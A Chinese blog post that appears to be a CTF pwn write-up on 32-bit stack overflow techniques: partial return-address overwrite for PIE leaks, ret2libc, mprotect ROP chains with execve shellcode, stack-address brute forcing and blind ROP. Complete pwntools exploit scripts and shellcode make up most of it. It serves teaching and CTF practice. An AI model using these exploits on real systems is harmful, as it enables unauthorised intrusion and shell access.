ZoE

个人站

Pwn的挖坑填坑之旅


栈溢出(32bit)的一些操作<一>

关于32位栈溢出的一些操作

最近在做一系列的栈溢出的题目,这里记录一下一些特别的操作,首先介绍32位的......

低位覆盖返回地址泄露基地址

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

栈溢出非常明显, 之前介绍了一个PIE爆破程序基地址,那种程序使用了ebx的情况下才可以使用该方法,本题中并没有ebx寄存器放到栈上或者其他地方,所以这里一般可以尝试覆盖低位,让程序返回到某些可以打印栈上东西的地方来泄露地址:

可以对程序尝试分析一下 据大佬说程序不能返回到call strlen (memset也不行)前,否则程序会崩掉,因为前面覆盖的时候把ebx覆盖掉了,因为strlen和memset之前都没有把ebx修复好才导致找不到该调用函数的plt地址,而在read和write函数里面执行了ebx修复的函数,因此我们返回到\xDE这个地方才不会发生崩溃并且能正常打印栈上的地址并且能返回一大堆东西包括程序地址,而且返回这里的同时栈地址是没有sub的(不像返回到程序开始的时候程序会先分配栈地址sub 28h),所以此时还是在比较靠近返回地址(程序地址)的地方,而且程序write打印的正是通过栈偏移来打印的,调试一下就会发现刚好打印的就是程序返回地址,这样一来就可以拿到程序地址啦。 接下来的就比较简单了,又是一波ret2libc一把梭……

下面是详细脚本:

#!/usr/bin/env python
# coding=utf-8
from pwn import *

def pwn():
    debug = 1
    # context.log_level = "DEBUG"
    if debug:
        p = process('./pieagain')
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    else:
        p = remote('xxxxxxxxx', xxxx)
        libc = ELF("./libc.so.6")
    gdb.attach(p, 'break * 0x800008b1\nbreak * 0x80000922')

    p.sendline("a")
    p.recvuntil('again?\n')
    p.sendline('a'*0x2c + '\xde\x08')
    p.recv(4)
    
    if debug:
        libc_start_main = u32(p.recv(4)) - 246
    else:
        libc_start_main = u32(p.recv(4)) - 247

    print 'libc_start_main is ', hex(libc_start_main)

    libc_base = libc_start_main - libc.symbols['__libc_start_main']
    print 'libc_base is ', hex(libc_base)

    rop = 'a'*44
    rop += p32(libc_base + libc.symbols['system']) + p32(0) + p32(libc_base + libc.search('/bin/sh').next())
    p.sendline(rop)
    p.interactive()


while True:
    try:
        pwn()
    except Exception as e:
        continue

mprotect修改执行权限

参考链接:

  • http://man7.org/linux/man-pages/man2/mprotect.2.html
  • https://blog.csdn.net/Roland_Sun/article/details/33728955
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

gdb 调起来发现输入距离返回地址是0x48,但是可以输入0x80字节,明显的栈溢出 但是这个开了NX,并且把寄存器清空,sys_readsys_write都是通过寄存器来来传值的,这就很麻烦了,但是其实可以通过布一些gadget来设置寄存器的值再来调用,想到这一点就很好做了,我的思路是,先mprotect一段地址,然后再调用sys_read,把shellcode写上去,再返回执行就ok了,下面简单讲一下mprotect的参数吧…… mprotect需要设置三个参数,第一个eax = 0x7d(125,系统调用号,注意x64跟x86的系统调用号都不一样的,注意查一下),然后是buf(要改权限的段起始地址),len(长度),num(权限,比如7就是可读可写可执行)

这里可以看下调用sys_read的具体方法,首先是系统调用号放在eax,参数顺序下去分别放在ebx,ecx,edx。

详细脚本:

#!/usr/bin/env python
from pwn import *
#context.log_level='debug'

p = process("./rop")
#p = remote("xxxxxxxxxxx",xxx)


#payload = padding + p32(ret_addr)
#pause()

padding = "A"*48
start_addr = 0x080480B8
pop_eax_ret = 0x0804819c
pop_ebx_ret = 0x0804819e
pop_ecx_ret = 0x080481a0
pop_edx_ret = 0x080481a2
int_80 = 0x080480f6
sys_read = 0x080480FD

buf = 0x8048000
#gdb.attach(p)
payload = ""
payload += padding
payload += p32(pop_eax_ret) + p32(0x7d) #125   mprotect
payload += p32(pop_ebx_ret) + p32(buf) 
payload	+= p32(pop_ecx_ret) + p32(4096)
payload += p32(pop_edx_ret) + p32(7)
payload += p32(int_80)
payload += p32(pop_eax_ret) + p32(0x3) 
payload += p32(pop_ebx_ret) + p32(0) 
payload	+= p32(pop_ecx_ret) + p32(buf)
payload += p32(pop_edx_ret) + p32(0x40)
payload += p32(int_80)
payload += p32(buf)
#sh = shellcraft.sh()
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
p.recvuntil("ROP all the way to shell:")
gdb.attach(p)
p.send(payload)
#p.recvline()
p.send(shellcode)
p.interactive()

#mprotect: http://man7.org/linux/man-pages/man2/mprotect.2.html

如何控rax&&tips

  • 调用alarm,返回的是剩余秒数放在rax上,可以利用这个思路来控制rax ,其中alarm的参数就是秒数就ok……
    alarm() returns the number of seconds remaining until any previously scheduled alarm was due to be delivered, or zero if there was no previously scheduled alarm.
    

    所以如果连续两次调用alarm的话,第二次alarm返回第一次订的闹钟剩余的时间,因为程序执行时间很短,如果第一次alarm(5)的话,第二次alarm返回值将是5,成功控制rax

  • read或者write的成功读入或者成功输出的字节数都会返回到eax
  • 做32位程序地址的时候时常注意栈的偏移,当前eip所指向的东西,可以用add 20h,或者一些 pop 的gadget来让当前eip指向你想要的东西来给调用函数赋予准确的参数。

爆破栈地址

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

这道题目也是由上面题目改编的题,没有控制ebx,ecx,edx这些寄存器的gadget,但是我们同样可以用栈上的值,再跳到mov ebx,[esp+xx]的地方来进行控制。但是这道题的溢出字节变小了。

那怎么办。。我们可以通过调用read来往栈上写东西,然后再跳到那里去执行就可以随便执行gadget啦…..所以我们的重点就变成了爆破栈地址。 下面主要介绍一下爆破栈地址的思路: 先输入一串字符,利用write来打印栈上的东西,直到找到某一段打印出来的东西包含的我们读进去的特定字符串,那么,恭喜你,就找到了栈地址啦……

from pwn import *
context.log_level = 'debug'

#io = process("./pro")
io = remote("xxxxxxxx",xxxx)

add_addr = 0x0804817C
sys_write = 0x80480F9
start = 0x80480b8
int_80 = 0x80480f2
sys_read = 0x080480E1
set_ebx_ecx_edx_addr = 0x080480fe

mark = "flagflagflagflag"
pattern = "a"*0x10

def getstack(io,add):
	payload = mark 
	payload += p32(sys_write) + p32(start) + p32(1) + p32(add) + p32(0x500)	
	io.recvuntil("like a PRO:")
	io.send(payload)
	io.recvuntil("Good Luck!\n")
	try:
		data = io.recv(0x500)
		if mark in data:
			offset = data.find(mark)
			return add+offset
		else:
			return 0 
	except Exception as e:
		return -1

#base = 0xff8da000
base = 0xffdd0000
for d in range(0,0x2000):
	stack_add = d*(0x500) + base
	add = getstack(io,stack_add)
	if add>0:
		break
print "[*]stack addr : 0x%x"%add

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload2 = p32(sys_write) + p32(add_addr) + p32(1) + p32(0x8048000) + p32(0x7d) + "A"*0x14 + p32(set_ebx_ecx_edx_addr) + p32(add + 0x44) + p32(add&0xfffff000) + p32(0x1000) + p32(7) + shellcode

payload1 = pattern + p32(sys_read) + p32(start) + p32(0) + p32(add + 0x8) + p32(len(payload2))

io.recvuntil("ROP like a PRO:")
pause()
io.send(payload1)
io.recvuntil("Good Luck!\n")
io.send(payload2)

io.interactive()

BROP(盲pwn)

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE

所谓BROP,就是盲pwn,也就是只给一个ip和端口,不给binary的pwn题。然后抓住几个关键点

  • 首先测试他在哪里溢出的,得到偏移
  • 然后覆盖返回地址为xxxxxxxxx,这里有一个常识就是32位程序地址都是0x0804xxxx
  • 然后根据这个特点,固定低字节去爆破倒数第二个字节,找到一个能输出东西地址的大致范围
  • 然后再去找具体地址
  • 然后还有一个很重要的点就是如何打印程序地址:
  • 找到函数的plt段非常重要,找到函数基地址,然后再往上就是程序的plt表地址了,然后注意plt表的每个函数的间隔是0x10的。
  • 然后得到plt表地址之后就可以通过打印自身地址来得到该地址的十六进制表示方式,从而得到got表,进而泄露程序地址,或者也可以通过打印整个程序的十六进制进而泄露出整个bin,就可以做了。程序地址指令的十六进制见下图(option–>General–>number of opcode bytes):

注意:

  • puts 以\x00为止,以\x0a取代\x00 相当于printf %s \n
  • gets 以\x0a为止,以\x00取代\x0a
  • read 读取特定长度字符串

详细脚本如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *
context.log_level = "debug"
libc = ELF('libc6_2.27-3ubuntu1_i386.so')
def sploit(i, j):
    p = remote("xxxxxxxx", xxxx)
    payload = "A"*0x40c + chr(i) + chr(j) + "\x04\x08" 
    p.recv()
    p.sendline(payload)
    p.interactive()
    print p.recvline()
    print p.recvline()
    err = p.recvline()
    print err
    if "flag" in err:
        print p.recv()
        p.close()
        return 0
    else:
        print "win"
        pause()
        p.interactive()

# 178, 130
# 6, 131

# 0x080485b9  #code_begin 
# 0x080484d0 
gets_got = 0x0804a014  #0xf76032b0

gets_plt = 0x08048440  #0x804a014
printf_plt = 0x08048430  #0x804a010
#   0x08048400
#   0x0804a028
'''
libc_base = send_addr - libc.symbols['send']
binsh_offset = next(libc.search('/bin/sh'))
binsh_addr = libc_base + binsh_offset
system_addr = libc_base + libc.symbols['system']
'''
#0x080484c2
#0x080485d9
def test(i, j):
    p = remote("xxxxxxx", xxxx)
    #payload = "A"*0x40c + p32(0x08048430) + p32(0x080484c4) + p32(0x080484c4)
    #payload = "A"*0x40c + p32(0x080484c4) 
    payload = "A"*0x40c + p32(0x08048490) + p32(0x080484d0) + p32(0x0804a014)
    p.sendline(payload)
    p.recvuntil("Crash me and the door will open for you.\n")
    gets_addr = u32(p.recv()[0:4])
    libc_base = gets_addr - libc.symbols['gets']
    binsh_offset = next(libc.search('/bin/sh'))
    binsh_addr = libc_base + binsh_offset
    system_addr = libc_base + libc.symbols['system']
    payload = "A"*0x40c + p32(system_addr) + p32(0x08048440) + p32(binsh_addr)
    p.sendline(payload)
    #print hex(gets_addr)
    #print p.recv
    p.interactive()
    exit(0)

test(48, 132)
#payload = "A"*0x40c + p32(0x08048430) + p32(0) + p32(0x0804a014)
#payload = "A"*0x40c + p32(0x08048430) + p32(0) + p32(0x0804a010)
# payload = "A"*0x40c + p32(0x08048440) + p32(0x08048430) + p32(0x0804a200) + p32(0x0804a200)
'''
for j in range(0x84, 0x85):
    for i in range(0x80, 0x100, 0x1):
        try:
            log.info(str(i) + ", " + str(j))
            sploit(i, j)
        except:
            pass
'''

#dump file
# f=open('./bin','w')
# b=''
# addr=0x8048000
# while addr<=0x804a000:
# 	p=remote('xxxxxxxxxxx',xxxx)
# 	if addr&0xff==0xa:
# 		b+='\x00'
# 		addr+=1
# 	p.sendlineafter('you.\n','a'*stack_len+p32(puts_plt)+p32(0)+p32(addr))
# 	a=p.recvuntil('\n')[:-1]
# 	p.recvuntil('Well done! Here is your flag: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\n')
# 	b+=a
# 	b+='\x00'
# 	addr+=len(a)+1
# 	p.close()


# print b
# f.write(b)
# f.close()

打赏一个呗

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦